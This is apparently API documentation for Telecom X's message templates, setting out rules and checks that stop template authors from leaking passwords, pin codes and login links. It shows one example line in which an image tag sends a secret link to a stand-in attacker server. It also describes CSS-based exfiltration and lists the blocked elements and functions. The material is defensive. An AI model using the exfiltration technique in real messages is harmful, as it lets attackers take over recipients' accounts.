Table of Contents

API : Message templates : Secrets

Some messages carry a secret: a password, a pin code, or a code or link that logs in, resets a password, enrolls a passkey, joins a video call or signs a document - the variables %password%, %pinCode%, %code%, %link% and %mitIdLinks%. Whoever writes the template decides where the secret goes: <img src=“https://evil.example/?%link%”> would send it to a foreign server the moment the e-mail is opened, and so would a style sheet whose attribute selectors load an image for each part of the link. Resellers and Telecom X staff write templates that are sent to users with more rights than themselves, so this would let them take over those accounts.

The rules

Whoever wrote the template and the layout, a message that carries a secret must keep to two rules:

  1. Where the secret stands. Only as text of its own - the start of the text, a space or ( before it, and after it the end or a space, after at most three punctuation marks - so it cannot become part of a web address. %link% may also be the whole address of a link, <a href=“%link%”>, without ping. Never in another attribute, a comment (Outlook's conditional comments too), <style>, <title>, <textarea>, <noscript>, <template>, SVG/MathML, or the subject.
  2. What the e-mail loads. Nothing from other servers than our image server (https://image.telecomx.dk/<id>.<png|jpeg|gif|webp>, optionally resized), images on https://www.telecomx.dk/ and Google Fonts. Style sheets (<link>, @import) only from Google Fonts, data: only for images. This covers src, srcset, background, poster and similar attributes, href of anything but <a>/<area>, CSS url() and @import in <style> and style=. No <script>, <iframe>, <object>, <embed>, <base>, <svg>, <meta http-equiv> other than content-type, CSS backslash escapes, or image-set()/image()/cross-fade()/element()/src(). Links to click may go anywhere.

An SMS carrying a secret: the secret must stand on its own, so a phone's link preview cannot fetch it.

The check runs on the message as it is sent - layout, template and every value put in - with each secret replaced by a random marker, and the HTML parsed the way a browser based mail client parses it. Only then are the secrets put in, HTML-escaped.

Where it is enforced

Where What happens
Save A template is checked in the master layout, a layout around an e-mail with one secret of each kind. A problem refuses the save: 422 secrets.
Preview Lists the problems of the template and of its combination with the layout in use.
Test Refused (422 secrets) while there are problems.
Sending A message that breaks the rules anyway (a layout changed later, HTML in a name) is sent with the master template and the master layout, still with the reseller's branding, and a warning is logged. If even that breaks them (only possible through a value), the message is not sent.

Telecom X staff

Passwords, pin codes, passkey links and reset links sent to RESELLER_ADMIN and ADMIN employees always use the master template and layout, with their reseller's branding - and the master layout and the master templates carrying a secret can only be changed by ADMIN. So a reseller's employee cannot reach a staff account, and a RESELLER_ADMIN not an ADMIN account, even through a gap in the rules.

Problems

The problems of Preview are { code, detail }:

Code Detail Meaning
secret_place Variable name The secret is in an attribute, a comment, raw text such as <style> or <title>, or another place it may not be.
secret_adjacent Variable name The secret has other text right before or after it, which could make it part of a web address.
secret_subject Variable name The secret is in the subject.
resource URL Something is loaded from a server that is not allowed.
element Tag An element that is not allowed, e.g. script, iframe, base, svg.
attribute Attribute An attribute that is not allowed, e.g. ping, http-equiv=“refresh”.
css_escape A backslash in CSS.
css_function Function A CSS function that loads without url(), e.g. image-set.

What remains

A template can still ask the recipient to click a link of its own, as any phishing mail can; and a mail client that joins text across elements into one link could make a secret next to a web address in another element part of it - a click, not an automatic load.